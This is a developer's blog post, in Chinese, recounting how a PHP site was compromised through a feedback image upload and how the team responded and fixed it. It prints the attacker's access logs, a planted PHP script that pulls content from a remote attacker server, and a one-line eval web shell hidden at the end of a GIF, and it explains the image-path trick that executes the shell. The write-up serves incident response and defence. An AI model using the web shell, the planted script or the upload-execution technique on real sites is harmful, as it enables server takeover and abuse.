昨天同事发布新功能的时候,发现项目目录下多了两个新的目录。
- /html
- /news
里面是随机字符串命名的 php 文件。看了代码的确不是我们写的,第一反应,我们被黑了!
第一时间的处理措施
- 排查 Nginx 日志,通过访问 html, news 目录定位可疑 IP, 然后通过历史 log 定位可疑文件
- 将恶意代码目录,可疑 gif 文件,及 Nginx 日志打包下载
- 删除恶意代码目录, 及 gif 文件
- 在阿里云防火墙上屏蔽到恶意 IP
确认是否还存在恶意访问
第二天早上8点又登录服务器确认了一下恶意请求是否还存在
123.126.113.91 - - [16/Feb/2017:16:25:38 +0800] "GET /news/qBmH.php?87cz/7egjqz.html HTTP/1.1" 200 5804 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:25:49 +0800] "GET /news/0YiRN.php?NuY4/9e7J2i.html HTTP/1.1" 200 5802 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:26:55 +0800] "GET /news/HEAoV.php?vqjZ/D7Zb9M.html HTTP/1.1" 200 5738 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:27:26 +0800] "GET /news/cjHI.php?JAdZ/WQabbE.html HTTP/1.1" 200 5767 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:27:46 +0800] "GET /news/fUx3R.php?nf58/Yy9DrC.html HTTP/1.1" 404 56 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:27:56 +0800] "GET /news/MqNr.php?RcUv/9D9DcA.html HTTP/1.1" 404 56 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:28:06 +0800] "GET /news/mbRqz.php?LC83/gNUQ7G.html HTTP/1.1" 404 56 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:28:16 +0800] "GET /news/mcBap.php?jQQB/7Yk0VT.html HTTP/1.1" 404 56 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
可以看到
- 删除恶意代码文件之后,应答变成了 404
- 在阿里云防火墙屏蔽该 IP 之后,请求也不见了
开始怀疑是攻击者伪造的 sogou 爬虫 HTTP 请求头, 但是反查 IP 之后,我震惊了
https://www.boip.net/ipv4/123.126.113.92
这个IP的确是 sogou 的爬虫, 对应的域名是 sogouspider-123-126-113-91.crawl.sogou.com
所以,理论上,并没有完全屏蔽掉来自 sogou 的请求;而且,也不应该屏蔽搜索引擎的请求。
攻击者的 IP 分析
从 Nginx 日志上找到了这两个嫌犯 IP
139.196.51.134
这个 IP 是阿里云上海机房的一个 IP, 并没有对应的域名。
101.226.79.182
是上海的 IP, 也没有对应的域名。
黑客行为分析
黑客于2月15日17:51,上传了一个 gif 文件 663_20170215zpxnjg123.gif 到服务器上, 目录地址为 data/feedbackimg/663_20170215zpxnjg123.gif, 文件大小 11K
通过 Nginx 日志排查, 以及该目录的命名,基本可以锁定是用户留言系统存在漏洞。 Google 了一下,PHP 的确存在此安全问题,即用户可以上传包含可执行 PHP 代码的 gif/jpg 文件。
例如,上传时,使用 a.gif 的命名,上传之后,在浏览器访问 a.gif\c.php 即可执行其中的代码。 注意:必须加上斜杠。
所以,理论上,所有允许用户提交图片的功能,都会存在该安全隐患。
grep 139.196.51.134 access.log | less
从该 IP 的操作历史看,这个黑客的行为非常有针对性。
139.196.51.134 - - [15/Feb/2017:17:49:38 +0800] "GET /animated_favicon.gif/c.php HTTP/1.1" 200 219 "http://www.link114.cn/?" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
这是其第一个请求,首先判断了我们网站是否能够在 gif 文件后面缀上 .php 进行执行。 我测试了一下,的确可以。。。
然后,他就通过用户留意系统,上传了一张恶意的图片,随后执行了
139.196.51.134 - - [15/Feb/2017:17:51:36 +0800] "GET /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 7432 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
判断其上传的恶意图片是否可以执行, 确认没问题后, 便进行了惨无人道的杀戮
139.196.51.134 - - [15/Feb/2017:17:51:49 +0800] "POST /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 10611 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
139.196.51.134 - - [15/Feb/2017:17:51:49 +0800] "POST /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 10485 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
101.226.33.224 - - [15/Feb/2017:17:51:50 +0800] "GET /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 7432 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) \x09\x09\x09Chrome/55.0.2883.95 Safari/537.36"
139.196.51.134 - - [15/Feb/2017:17:51:50 +0800] "POST /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 10694 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
101.226.51.227 - - [15/Feb/2017:17:51:51 +0800] "GET /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 7432 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
139.196.51.134 - - [15/Feb/2017:17:51:52 +0800] "POST /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 14023 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
这货比较逗的是,又换了个 HTTP 头。
于是,我们服务器的网站目录下,多了两个文件夹 html 和 news, 里面充满了各种随机文件名的 php 文件
0YiRN.php AR2H.php cjHI.php fUx3R.php HEAoV.php iToc.php mcBap.php NQbD.php ORhS2.php wCEzX.php
9bZTC.php ASnFg.php DjhzS.php he49.php HFZhu.php mbRqz.php MqNr.php OFgD.php qBmH.php Wv62.php
<?php
set_time_limit(0);
header("Content-Type: text/html;charset=gb2312");
$Remote_server = "http://123.207.27.85/qg2/";
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$Content_mb=getHTTPPage($Remote_server."/index.php?host=".$host_name);
function getHTTPPage($url) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context);
if (empty($html)) {
exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>");
}
return $html;
}
echo $Content_mb;
代码都类似,主要是指向两个 IP
- 123.207.27.85
- 123.184.16.58
IP 显示是广东省广州市腾讯集团的, 估计是用的腾讯云的服务器。
黑客非常有经验,主要使用腾讯云和阿里云的服务器进行攻击,可以有效的规避被大厂商加入IP黑名单。 因为理论上,阿里云会把自己的IP加入到IP白名单。 但,这也归咎于阿里云和腾讯云对服务器安全监管不够,没有有效处理此类行为。 以阿里的技术能力,完全可以监测到此类异常 url 访问,例如,访问图片缀上 .php 的行为。估计是不作为。
继续来看黑客的行为
生成这一堆文件之后,紧接着,黑客在 html 目录下新建了一个 qi.php 的文件,并进行了 post 操作。 然后,最令我后怕的是,黑客居然又把 qi.php 这个文件删掉了, 他完全有能力删掉所有的项目数据。 我怀疑这个文件是向 sogou 发送请求,请求爬虫来访问新建的这些文件。
虽然,测试了一下,这些路径只是访问了 www.beijing.gov.cn 对应的一个网页,对用户及服务器没有什么影响, 也许他只是想把这台服务器作为一个肉鸡。
但是,可以想象,利用这个漏洞,他可以做任何的操作。
gif 文件里包含了什么?
使用 VIM 打开这个 gif 文件,被最后一段惊呆了
xxxxxxxx;<?php @eval($_POST['pass']);?>
如果后台没有权限控制,他就可以完全控制这台服务器了。
而这张 gif 图片,居然能正常的预览,就是一个普通的表情
PHP 果然是最好的语言!
将最后一行代码修改为
xxxxxxxx;<?php echo 'hello';?>
再次上传文件,并在图片文件路径最后缀上 \a.php,奇迹出现了
如何修复该漏洞
Nginx 中增加
location ~* /data/feedbackimg/(.+)\.php$ {
deny all;
}
总结
- 下次遇到被黑的情况,应该第一时间将源头堵住, 否则可能出现无可挽回的损失
- 对于用户上传的文件,需要谨慎处理,去掉一切不必要的权限
- 参考 magento2 的 nginx 配置文件可以学到很多东西
参考
- https://www.phpclasses.org/blog/post/67-PHP-security-exploit-with-GIF-images.html
- http://stackoverflow.com/questions/13250471/gif-jpeg-file-containing-php-code
- Securing your WordPress site running on Nginx
微信关注我哦 👍
我是来自山东烟台的一名开发者,有感兴趣的话题,或者软件开发需求,欢迎加微信 zhongwei 聊聊, 查看更多联系方式
谈笑风生
时间爱人 (来自: 中国 河南 郑州 电信) 6年前
heihei (来自: 中国 香港 阿里云) 4年前